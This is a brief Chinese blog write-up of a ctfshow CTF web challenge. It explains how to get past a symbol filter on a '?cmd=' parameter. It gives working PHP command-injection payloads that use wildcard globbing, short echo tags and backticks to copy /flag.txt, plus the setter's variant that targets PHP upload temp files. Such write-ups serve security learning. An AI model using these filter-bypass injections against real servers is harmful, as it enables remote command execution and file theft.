ctfshow红包题-web

 · 2020-2-15  ·次阅读


QQ截图20200214135958

直接看源代码

QQ截图20200214140007

发现hint:?cmd=

可以推测大概是构造payload

接下来访问url/?cmd

QQ截图20200214140024

通过观察发现过滤了不少符号,键盘上能用的没几个了……害

根据大佬给的提示,我们用仅存的几个符号构造payload

?cmd=?><?=`/???/?p /???????? p.ppp`;?>

功能相当于是

?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>

用cp命令,将flag.txt复制到p.ppp

接下来访问url/p.ppp,下载下来得到flag

QQ截图20200214140151

关于构造的payload可以解释下?>是关闭php标签 <?=是使用php短标签来返回结果`是执行命令

而出题人给出的payload是

?cmd=?><?=`/??p/p?p??????`;?>

是匹配到/tmp/phpXXXXXX文件,匹配到之后执行